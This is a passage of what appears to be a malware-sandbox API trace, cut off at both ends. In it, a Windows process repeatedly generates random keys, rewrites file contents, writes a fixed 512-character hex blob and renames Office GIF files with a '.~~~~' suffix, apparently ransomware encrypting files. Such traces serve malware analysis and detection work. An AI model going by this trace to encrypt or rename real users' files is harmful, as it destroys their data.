	[0127.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7840 | out: hHeap=0x300000) returned 1
	[0127.898] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.898] GetLastError () returned 0x0
	[0127.898] GetLastError () returned 0x0
	[0127.898] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.899] GetLastError () returned 0x0
	[0127.899] GetLastError () returned 0x0
	[0127.900] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffff88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.901] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x78, lpOverlapped=0x0) returned 1
	[0127.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.902] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.902] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.903] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.903] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.903] CloseHandle (hObject=0x120) returned 1
	[0127.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7840
	[0127.903] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15060_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15060_.gif.~~~~")) returned 1
	[0127.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7840 | out: hHeap=0x300000) returned 1
	[0127.905] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.905] GetLastError () returned 0x0
	[0127.906] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0127.907] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0127.908] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0127.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0127.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0127.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0127.908] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24789796361) returned 1
	[0127.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb5b06b70, dwHighDateTime=0x1d60e1e)) 
	[0127.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0127.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0127.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0127.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a64a8
	[0127.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0127.908] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a64a8 | out: hHeap=0x300000) returned 1
	[0127.908] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0127.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0127.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7cd8
	[0127.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0127.909] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c550
	[0127.909] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0127.909] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0127.909] GetLastError () returned 0x0
	[0127.909] GetLastError () returned 0x0
	[0127.909] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0127.909] GetLastError () returned 0x0
	[0127.910] GetLastError () returned 0x0
	[0127.912] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffff89, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.912] WriteFile (in: hFile=0x120, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x77, lpOverlapped=0x0) returned 1
	[0127.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0127.914] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0127.914] WriteFile (in: hFile=0x120, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0127.915] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0127.915] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0127.915] CloseHandle (hObject=0x120) returned 1
	[0127.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0127.915] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15061_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15061_.gif.~~~~")) returned 1
	[0127.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0127.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0127.918] GetLastError () returned 0x0
	[0128.085] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0128.086] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.086] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0128.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0128.086] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24807657075) returned 1
	[0128.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb5ccfbf0, dwHighDateTime=0x1d60e1e)) 
	[0128.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0128.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0128.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0128.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b0c8
	[0128.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b0c8 | out: hHeap=0x300000) returned 1
	[0128.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38ef10
	[0128.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282c388
	[0128.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ef10 | out: hHeap=0x300000) returned 1
	[0128.087] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0128.088] GetLastError () returned 0x0
	[0128.088] GetLastError () returned 0x0
	[0128.088] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0128.088] GetLastError () returned 0x0
	[0128.088] GetLastError () returned 0x0
	[0128.090] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffff47, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.090] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xb9, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0xb9, lpOverlapped=0x0) returned 1
	[0128.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.093] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.093] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.093] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.093] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.093] CloseHandle (hObject=0x128) returned 1
	[0128.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38ef10
	[0128.093] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15132_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15132_.gif.~~~~")) returned 1
	[0128.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38ef10 | out: hHeap=0x300000) returned 1
	[0128.311] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0128.311] GetLastError () returned 0x0
	[0128.312] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0128.314] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.314] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0128.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0128.314] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24830402077) returned 1
	[0128.314] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb5ee4f30, dwHighDateTime=0x1d60e1e)) 
	[0128.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0128.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0128.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0128.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ccba0
	[0128.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ccba0 | out: hHeap=0x300000) returned 1
	[0128.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b66b8
	[0128.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.315] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.315] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b66b8 | out: hHeap=0x300000) returned 1
	[0128.315] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0128.315] GetLastError () returned 0x0
	[0128.315] GetLastError () returned 0x0
	[0128.315] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0128.316] GetLastError () returned 0x0
	[0128.316] GetLastError () returned 0x0
	[0128.317] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffeff, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.317] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x101, lpOverlapped=0x0) returned 1
	[0128.319] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.320] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.320] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.320] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.320] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.320] CloseHandle (hObject=0x128) returned 1
	[0128.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b66b8
	[0128.320] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21312_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21312_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21312_.gif.~~~~")) returned 1
	[0128.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b66b8 | out: hHeap=0x300000) returned 1
	[0128.322] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0128.322] GetLastError () returned 0x0
	[0128.324] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0128.325] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.325] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0128.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0128.325] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24831540977) returned 1
	[0128.325] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb5f0b090, dwHighDateTime=0x1d60e1e)) 
	[0128.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0128.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0128.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0128.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b678
	[0128.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b678 | out: hHeap=0x300000) returned 1
	[0128.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x2a4f2a8
	[0128.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0128.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6f40
	[0128.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a4f2a8 | out: hHeap=0x300000) returned 1
	[0128.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bc9f8
	[0128.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6f40 | out: hHeap=0x300000) returned 1
	[0128.326] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0128.326] GetLastError () returned 0x0
	[0128.327] GetLastError () returned 0x0
	[0128.327] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0128.327] GetLastError () returned 0x0
	[0128.327] GetLastError () returned 0x0
	[0128.328] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffffbb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.328] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x45, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x45, lpOverlapped=0x0) returned 1
	[0128.330] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0128.330] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0128.331] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0128.331] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0128.331] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0128.331] CloseHandle (hObject=0x128) returned 1
	[0128.331] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6f40
	[0128.331] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21314_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD21314_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd21314_.gif.~~~~")) returned 1
	[0128.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6f40 | out: hHeap=0x300000) returned 1
	[0128.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0128.333] GetLastError () returned 0x0
	[0128.333] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0128.432] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0128.432] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0128.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0128.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0128.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0128.433] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=24842287049) returned 1
	[0128.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb6015a30, dwHighDateTime=0x1d60e1e)) 
	[0128.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0128.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0128.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0128.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b6b0
	[0128.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0128.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b6b0 | out: hHeap=0x300000) returned 1
	[0128.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
